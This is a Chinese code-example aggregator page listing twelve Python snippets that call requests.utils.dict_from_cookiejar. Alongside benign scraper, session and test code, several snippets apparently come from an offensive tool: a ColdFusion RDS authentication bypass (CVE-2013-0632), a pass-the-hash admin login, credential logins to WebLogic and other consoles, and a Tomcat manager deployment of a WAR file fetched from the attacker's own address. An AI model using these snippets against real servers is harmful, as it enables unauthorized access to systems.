本文整理汇总了Python中requests.utils.dict_from_cookiejar方法的典型用法代码示例。如果您正苦于以下问题:Python utils.dict_from_cookiejar方法的具体用法?Python utils.dict_from_cookiejar怎么用?Python utils.dict_from_cookiejar使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类requests.utils
的用法示例。
在下文中一共展示了utils.dict_from_cookiejar方法的12个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: scrape_url
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def scrape_url(self, url, headers={}, cookies={}, timeout=10):
"""
Scrape the target URL and collects all the data that will be filtered afterwards
"""
if BURP:
# Burp flag is set when requests is not installed.
# When using Burp we shouldn't end up in this function so we are in a Python CLI env without requests
raise ImportError("Missing Requests module")
# By default we don't verify SSL certificates, we are only performing some useless GETs
try:
response = get(url, headers=headers, cookies=cookies, verify=False, allow_redirects=True, timeout=timeout)
except RequestException as e:
raise ConnectionException(e)
# print("status: {}".format(response.status_code))
# TODO: switch-case for various response.status_code
self.data['url'] = url
self.data['html'] = response.text
self.data['headers'] = dict_from_caseinsensitivedict(response.headers)
self.data['cookies'] = dict_from_cookiejar(response.cookies)
self.parse_html_page()
示例2: _set_cookies_for_request
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _set_cookies_for_request(session, request_args):
"""
Possibly reset session cookies for a single request then set them back.
If no cookies were present in the request arguments, do nothing.
This does not use try/finally because if it fails then we don't care about
the cookies anyway
Args:
session (requests.Session): Current session
request_args (dict): current request arguments
"""
if "cookies" in request_args:
old_cookies = dict_from_cookiejar(session.cookies)
session.cookies = cookiejar_from_dict({})
yield
session.cookies = cookiejar_from_dict(old_cookies)
else:
yield
示例3: attemptRDS
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def attemptRDS(ip, port):
""" If version 9.x is found, we attempt to bypass authentication using
the RDS vulnerability (CVS-2013-0632)
"""
utility.Msg("Attempting RDS bypass...", LOG.DEBUG)
url = "http://{0}:{1}".format(ip, port)
uri = "/CFIDE/adminapi/administrator.cfc?method=login"
data = {
"adminpassword" : '',
"rdsPasswordAllowed" : 1
}
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
else:
# try it with rdsPasswordAllowed = 0
data['rdsPasswordAllowed'] = 0
response = utility.requests_post(url + uri, data)
if response.status_code is 200 and "true" in response.content:
return (dict_from_cookiejar(response.cookies), None)
示例4: _auth
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _auth(pswd, url, title):
""" Support auth for both the web and server interfaces
"""
data = OrderedDict([
("lang", "en"),
("rememberMe", "yyyy"),
("submit", "submit")
])
if title is RINTERFACES.WEB:
data["login_passwordweb"] = pswd
elif title is RINTERFACES.SRV:
data['login_passwordserver'] = pswd
response = utility.requests_post(url, data=data)
if response.status_code is 200 and "login.login_password" not in response.content:
utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG)
return dict_from_cookiejar(response.cookies)
示例5: test_app_secure_cookies
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def test_app_secure_cookies():
cookies_view.set_secure_cookie('test', '内容测试')
cookies_view.set_secure_cookie('test2', {'value': '内容测试'})
cookies_view.finish(RETCODE.SUCCESS)
cookies_jar = CookieJar()
for k, v in cookies_view.response.cookies.items():
cookies_jar.set_cookie(morsel_to_cookie(v))
cookies_view._request.cookies = dict_from_cookiejar(cookies_jar)
assert cookies_view.get_secure_cookie('test') == '内容测试'
assert cookies_view.get_secure_cookie('test2') == {'value': '内容测试'}
示例6: process_request
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def process_request(self, request, spider):
if USE_PROXY and ctrl.PROXIES is not None:
request.meta['proxy'] = "http://%s" % (ctrl.PROXIES.get('http'))
if ctrl.COOKIES is not None:
request.cookies = dict_from_cookiejar(ctrl.COOKIES)
示例7: attemptPTH
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def attemptPTH(url, usr_auth):
""" In vulnerable instances of CF7-9, you can use --cf-hash to obtain
the remote server's hash and pass it.
"""
utility.Msg("Attempting to pass the hash..", LOG.DEBUG)
usr = None
pwhsh = None
if ':' in usr_auth:
(usr, pwhsh) = usr_auth.split(':')
else:
(usr, pwhsh) = "admin", usr_auth
salt = _salt(url)
hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
data = {"cfadminPassword" : hsh,
"requestedURL" : "/CFIDE/administrator/enter.cfm?",
"cfadminUserId" : usr,
"salt" : salt,
"submit" : "Login"
}
try:
res = utility.requests_post(url, data=data)
if res.status_code is 200 and len(res.history) > 0:
utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
return (dict_from_cookiejar(res.history[0].cookies), None)
except Exception, e:
utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
示例8: _auth
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _auth(usr, pswd, ip, fingerprint):
""" Authenticate to j_security_check and return the cookie
"""
try:
base = "http://{0}:{1}".format(ip, fingerprint.port)
uri = "/console/j_security_check"
data = { "j_username" : usr,
"j_password" : pswd,
"j_character_encoding" : "UTF-8"
}
if fingerprint.title is WINTERFACES.WLS:
base = base.replace("http", "https")
response = utility.requests_post(base + uri, data=data)
if len(response.history) > 1:
cookies = dict_from_cookiejar(response.history[0].cookies)
if not cookies:
return False
else:
utility.Msg("Successfully authenticated with %s:%s" %
(usr, pswd), LOG.DEBUG)
return (cookies, None)
except Exception, e:
utility.Msg("Failed to authenticate: %s" % e)
示例9: _auth
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _auth(usr, pswd, url, version):
""" Currently only auths to the admin interface
"""
data = {
"userName" : usr,
"password" : pswd,
"submit" : "+Login+"
}
response = utility.requests_post(url, data=data)
if response.status_code is 200 and not "name=\"password\"" in response.content:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
return dict_from_cookiejar(response.cookies)
示例10: _auth
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _auth(usr, pswd, url, version):
"""
"""
authobj = HTTPBasicAuth
if version in ['7.0', '7.1', '8.0', '8.1']:
authobj = HTTPDigestAuth
res = utility.requests_get(url, auth=authobj(usr, pswd))
if res.status_code is 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
return (dict_from_cookiejar(res.cookies), authobj(usr, pswd))
示例11: _auth
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def _auth(usr, pswd, url, version):
""" Authenticate to the remote ColdFusion server; bit of a pain
"""
if version in ['5.0']:
data = {'PasswordProvided_required':'You+must+provide+a+password.',
'PasswordProvided' : pswd,
'Submit' : 'Password'
}
elif version in ['6.0', '6.1']:
data = {
'cfadminPassword' : pswd,
'requestedURL' : '/CFIDE/administrator/index.cfm',
'submit' : 'Login'
}
elif version in ['7.0', '8.0', '9.0']:
salt = _salt(url)
hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
data = {"cfadminPassword" : hsh,
"requestedURL" : "/CFIDE/administrator/enter.cfm?",
"cfadminUserId" : usr,
"salt" : salt,
"submit" : "Login"
}
elif version in ['10.0', '11.0']:
hsh = sha1(pswd).hexdigest().upper()
data = {'cfadminPassword' : hsh,
'requestedURL' : '/CFIDE/administrator/enter.cfm?',
'cfadminUserId' : usr,
'submit' : 'Login'
}
try:
res = utility.requests_post(url, data=data)
if res.status_code is 200:
utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
if version in ['5.0']:
return (dict_from_cookiejar(res.cookies), None)
elif len(res.history) > 0:
return (dict_from_cookiejar(res.history[0].cookies), None)
except Exception, e:
utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
return (None, None)
示例12: runLatter
# 需要导入模块: from requests import utils [as 别名]
# 或者: from requests.utils import dict_from_cookiejar [as 别名]
def runLatter(self, fingerengine, fingerprint, smb_thread):
"""
"""
base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
uri = "/manager/html/deploy"
data = OrderedDict([
("deployPath", "/asdf"),
("deployConfig", ""),
("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
])
cookies = None
nonce = None
# probe for auth
response = utility.requests_get(base + '/manager/html')
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking.." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(base + '/manager/html',
cookies=cookies[0],
auth=cookies[1])
# get nonce
nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
if len(nonce) > 0:
nonce = nonce[0]
# set new jsessionid
cookies = (dict_from_cookiejar(response.cookies), cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
return
if response.status_code == 200:
try:
# all setup, now invoke
response = utility.requests_post(base + uri + \
'?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
data = data, cookies=cookies[0],
auth=cookies[1])
except:
# timeout
pass
while smb_thread.is_alive():
# spin...
sleep(1)